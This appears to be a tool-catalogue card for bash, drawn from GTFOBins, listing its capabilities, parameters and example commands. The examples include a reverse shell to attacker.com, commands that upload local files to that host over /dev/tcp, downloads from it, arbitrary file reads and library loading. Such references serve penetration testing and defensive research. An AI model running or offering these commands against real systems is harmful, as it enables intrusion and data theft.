shell enabled community medium v1.0.0

bash

GNU Bourne-Again SHell; can execute commands, read/write files, transfer data, and spawn shells Can also download files, read arbitrary files, write to arbitrary files, load arbitrary libraries, send a reverse shell, spawn an interactive shell, upload files.

📋 Live Preview

bash

bash

Sandbox: execFile · Timeout: 30s

Capabilities

network.transfer.download

system.file.read

system.file.write

system.library.load

security.execution.reverse-shell

security.privilege-escalation.shell

network.transfer.upload

Parameters

Name	Type	Required	Default	Description	Aliases
`debug`	string	No	-	--debugger --dump-po-strings --dump-strings --help --init-file --login --noediting --noprofile --norc --posix --pretty-print --rcfile --restricted --verbose --version	`--debug`
`debugger`	boolean	No	-		`--debugger`
`dump_po_strings`	boolean	No	-		`--dump-po-strings`
`dump_strings`	boolean	No	-		`--dump-strings`
`flag-a`	string	No	-		`-a`, `-o`
`flag-i`	string	No	-	(invocation only)	`-i`, `-c`, `-O`
`help`	boolean	No	-		`--help`
`init_file`	boolean	No	-		`--init-file`
`noediting`	boolean	No	-		`--noediting`
`noprofile`	boolean	No	-		`--noprofile`
`norc`	boolean	No	-		`--norc`
`posix`	boolean	No	-		`--posix`
`pretty_print`	boolean	No	-		`--pretty-print`
`rcfile`	boolean	No	-		`--rcfile`
`restricted`	boolean	No	-		`--restricted`
`verbose`	boolean	No	-		`--verbose`
`version`	boolean	No	-		`--version`

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

Resource	Value
CPU	low
Memory	16 MB
Network	none
Disk I/O	low

Examples

Download files

bash -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \
    3<>/dev/tcp/attacker.com/12345 \
    | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file'

Download files

bash -c 'echo "$(</dev/tcp/attacker.com/12345) >/path/to/output-file'

Read arbitrary files

bash -c 'echo "$(</path/to/input-file)"'

Read arbitrary files

HISTTIMEFORMAT=$'\r\e[K'
history -c
history -r /path/to/input-file
history

Write to arbitrary files

bash -c 'echo DATA >/path/to/output-file'

Write to arbitrary files

HISTIGNORE='history *'
history -c
DATA
history -w /path/to/output-file

Load arbitrary libraries

bash -c 'enable -f /path/to/lib.so x'

Send a reverse shell

bash -c 'exec bash -i &>/dev/tcp/attacker.com/12345 <&1'

Spawn an interactive shell

bash

Upload files

bash -c 'echo -e "POST / HTTP/0.9\n\n$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'

Upload files

bash -c 'echo -n "$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'

Documentation

bash

bash is a command-line utility. GNU Bourne-Again SHell; can execute commands, read/write files, transfer data, and spawn shells Can also download files, read arbitrary files, write to arbitrary files, load arbitrary libraries, send a reverse shell, spawn an interactive shell, upload files.

References

GTFOBins